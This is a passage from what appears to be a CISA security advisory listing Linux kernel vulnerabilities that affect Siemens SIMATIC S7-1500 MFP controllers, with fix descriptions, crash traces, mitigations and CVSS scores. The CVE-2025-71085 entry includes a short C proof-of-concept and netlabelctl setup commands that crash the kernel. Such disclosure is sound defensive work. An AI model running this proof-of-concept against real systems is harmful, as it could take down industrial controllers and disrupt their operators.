<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71075</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: aic94xx: fix use-after-free in device removal path The asd_pci_remove() function fails to synchronize with pending tasklets before freeing the asd_ha structure, leading to a potential use-after-free vulnerability. When a device removal is triggered (via hot-unplug or module unload), race condition can occur. The fix adds tasklet_kill() before freeing the asd_ha structure, ensuring all scheduled tasklets complete before cleanup proceeds.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71075">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71079</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: nfc: fix deadlock between nfc_unregister_device and rfkill_fop_write A deadlock can occur between nfc_unregister_device() and rfkill_fop_write() due to lock ordering inversion between device_lock and rfkill_global_mutex. The problematic lock order is: Thread A (rfkill_fop_write): rfkill_fop_write() mutex_lock(&amp;rfkill_global_mutex) rfkill_set_block() nfc_rfkill_set_block() nfc_dev_down() device_lock(&amp;dev-&gt;dev) &lt;- waits for device_lock Thread B (nfc_unregister_device): nfc_unregister_device() device_lock(&amp;dev-&gt;dev) rfkill_unregister() mutex_lock(&amp;rfkill_global_mutex) &lt;- waits for rfkill_global_mutex This creates a classic ABBA deadlock scenario. Fix this by moving rfkill_unregister() and rfkill_destroy() outside the device_lock critical section. Store the rfkill pointer in a local variable before releasing the lock, then call rfkill_unregister() after releasing device_lock. This change is safe because rfkill_fop_write() holds rfkill_global_mutex while calling the rfkill callbacks, and rfkill_unregister() also acquires rfkill_global_mutex before cleanup. Therefore, rfkill_unregister() will wait for any ongoing callback to complete before proceeding, and device_del() is only called after rfkill_unregister() returns, preventing any use-after-free. The similar lock ordering in nfc_register_device() (device_lock -&gt; rfkill_global_mutex via rfkill_register) is safe because during registration the device is not yet in rfkill_list, so no concurrent rfkill operations can occur on this device.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71079">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71085</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead &lt; 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom &gt; INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) &lt; 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom &gt; skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom &gt; INT_MAX and delta &lt;= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &amp;dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg-&gt;cmsg_len = cmsg_len; cmsg-&gt;cmsg_level = IPPROTO_IPV6; cmsg-&gt;cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &amp;msg, 0);</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71085">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: fix invalid array index in rose_kill_by_device() rose_kill_by_device() collects sockets into a local array[] and then iterates over them to disconnect sockets bound to a device being brought down. The loop mistakenly indexes array[cnt] instead of array[i]. For cnt &lt; ARRAY_SIZE(array), this reads an uninitialized entry; for cnt == ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to an invalid socket pointer dereference and also leaks references taken via sock_hold(). Fix the index to use i.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71088</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fallback earlier on simult connection Syzkaller reports a simult-connect race leading to inconsistent fallback status: WARNING: CPU: 3 PID: 33 at net/mptcp/subflow.c:1515 subflow_data_ready+0x40b/0x7c0 net/mptcp/subflow.c:1515 Modules linked in: CPU: 3 UID: 0 PID: 33 Comm: ksoftirqd/3 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:subflow_data_ready+0x40b/0x7c0 net/mptcp/subflow.c:1515 Code: 89 ee e8 78 61 3c f6 40 84 ed 75 21 e8 8e 66 3c f6 44 89 fe bf 07 00 00 00 e8 c1 61 3c f6 41 83 ff 07 74 09 e8 76 66 3c f6 90 &lt;0f&gt; 0b 90 e8 6d 66 3c f6 48 89 df e8 e5 ad ff ff 31 ff 89 c5 89 c6 RSP: 0018:ffffc900006cf338 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff888031acd100 RCX: ffffffff8b7f2abf RDX: ffff88801e6ea440 RSI: ffffffff8b7f2aca RDI: 0000000000000005 RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000007 R10: 0000000000000004 R11: 0000000000002c10 R12: ffff88802ba69900 R13: 1ffff920000d9e67 R14: ffff888046f81800 R15: 0000000000000004 FS: 0000000000000000(0000) GS:ffff8880d69bc000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000560fc0ca1670 CR3: 0000000032c3a000 CR4: 0000000000352ef0 Call Trace: tcp_data_queue+0x13b0/0x4f90 net/ipv4/tcp_input.c:5197 tcp_rcv_state_process+0xfdf/0x4ec0 net/ipv4/tcp_input.c:6922 tcp_v6_do_rcv+0x492/0x1740 net/ipv6/tcp_ipv6.c:1672 tcp_v6_rcv+0x2976/0x41e0 net/ipv6/tcp_ipv6.c:1918 ip6_protocol_deliver_rcu+0x188/0x1520 net/ipv6/ip6_input.c:438 ip6_input_finish+0x1e4/0x4b0 net/ipv6/ip6_input.c:489 NF_HOOK include/linux/netfilter.h:318 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ip6_input+0x105/0x2f0 net/ipv6/ip6_input.c:500 dst_input include/net/dst.h:471 [inline] ip6_rcv_finish net/ipv6/ip6_input.c:79 [inline] NF_HOOK include/linux/netfilter.h:318 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ipv6_rcv+0x264/0x650 net/ipv6/ip6_input.c:311 __netif_receive_skb_one_core+0x12d/0x1e0 net/core/dev.c:5979 __netif_receive_skb+0x1d/0x160 net/core/dev.c:6092 process_backlog+0x442/0x15e0 net/core/dev.c:6444 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7494 napi_poll net/core/dev.c:7557 [inline] net_rx_action+0xa9f/0xfe0 net/core/dev.c:7684 handle_softirqs+0x216/0x8e0 kernel/softirq.c:579 run_ksoftirqd kernel/softirq.c:968 [inline] run_ksoftirqd+0x3a/0x60 kernel/softirq.c:960 smpboot_thread_fn+0x3f7/0xae0 kernel/smpboot.c:160 kthread+0x3c2/0x780 kernel/kthread.c:463 ret_from_fork+0x5d7/0x6f0 arch/x86/kernel/process.c:148 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 The TCP subflow can process the simult-connect syn-ack packet after transitioning to TCP_FIN1 state, bypassing the MPTCP fallback check, as the sk_state_change() callback is not invoked for * -&gt; FIN_WAIT1 transitions. That will move the msk socket to an inconsistent status and the next incoming data will hit the reported splat. Close the race moving the simult-fallback check at the earliest possible stage - that is at syn-ack generation time. About the fixes tags: [2] was supposed to also fix this issue introduced by [3]. [1] is required as a dependence: it was not explicitly marked as a fix, but it is one and it has already been backported before [3]. In other words, this commit should be backported up to [3], including [2] and [1] if that's not already there.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71088">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix the crash issue for zero copy XDP_TX action There is a crash issue when running zero copy XDP_TX action, the crash log is shown below. [ 216.122464] Unable to handle kernel paging request at virtual address fffeffff80000000 [ 216.187524] Internal error: Oops: 0000000096000144 [#1] SMP [ 216.301694] Call trace: [ 216.304130] dcache_clean_poc+0x20/0x38 (P) [ 216.308308] __dma_sync_single_for_device+0x1bc/0x1e0 [ 216.313351] stmmac_xdp_xmit_xdpf+0x354/0x400 [ 216.317701] __stmmac_xdp_run_prog+0x164/0x368 [ 216.322139] stmmac_napi_poll_rxtx+0xba8/0xf00 [ 216.326576] __napi_poll+0x40/0x218 [ 216.408054] Kernel panic - not syncing: Oops: Fatal exception in interrupt For XDP_TX action, the xdp_buff is converted to xdp_frame by xdp_convert_buff_to_frame(). The memory type of the resulting xdp_frame depends on the memory type of the xdp_buff. For page pool based xdp_buff it produces xdp_frame with memory type MEM_TYPE_PAGE_POOL. For zero copy XSK pool based xdp_buff it produces xdp_frame with memory type MEM_TYPE_PAGE_ORDER0. However, stmmac_xdp_xmit_back() does not check the memory type and always uses the page pool type, this leads to invalid mappings and causes the crash. Therefore, check the xdp_buff memory type in stmmac_xdp_xmit_back() to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71097</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: Fix reference count leak when using error routes with nexthop objects When a nexthop object is deleted, it is marked as dead and then fib_table_flush() is called to flush all the routes that are using the dead nexthop. The current logic in fib_table_flush() is to only flush error routes (e.g., blackhole) when it is called as part of network namespace dismantle (i.e., with flush_all=true). Therefore, error routes are not flushed when their nexthop object is deleted: # ip link add name dummy1 up type dummy # ip nexthop add id 1 dev dummy1 # ip route add 198.51.100.1/32 nhid 1 # ip route add blackhole 198.51.100.2/32 nhid 1 # ip nexthop del id 1 # ip route show blackhole 198.51.100.2 nhid 1 dev dummy1 As such, they keep holding a reference on the nexthop object which in turn holds a reference on the nexthop device, resulting in a reference count leak: # ip link del dev dummy1 [ 70.516258] unregister_netdevice: waiting for dummy1 to become free. Usage count = 2 Fix by flushing error routes when their nexthop is marked as dead. IPv6 does not suffer from this problem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71097">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71098</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ip6_gre: make ip6gre_header() robust Over the years, syzbot found many ways to crash the kernel in ip6gre_header() [1]. This involves team or bonding drivers ability to dynamically change their dev-&gt;needed_headroom and/or dev-&gt;hard_header_len In this particular crash mld_newpack() allocated an skb with a too small reserve/headroom, and by the time mld_sendpack() was called, syzbot managed to attach an ip6gre device. [1] skbuff: skb_under_panic: text:ffffffff8a1d69a8 len:136 put:40 head:ffff888059bc7000 data:ffff888059bc6fe8 tail:0x70 end:0x6c0 dev:team0 ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:213 ! skb_under_panic net/core/skbuff.c:223 [inline] skb_push+0xc3/0xe0 net/core/skbuff.c:2641 ip6gre_header+0xc8/0x790 net/ipv6/ip6_gre.c:1371 dev_hard_header include/linux/netdevice.h:3436 [inline] neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618 neigh_output include/net/neighbour.h:556 [inline] ip6_finish_output2+0xfb3/0x1480 net/ipv6/ip6_output.c:136 __ip6_finish_output net/ipv6/ip6_output.c:-1 [inline] ip6_finish_output+0x234/0x7d0 net/ipv6/ip6_output.c:220 NF_HOOK_COND include/linux/netfilter.h:307 [inline] ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247 NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318 mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71098">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
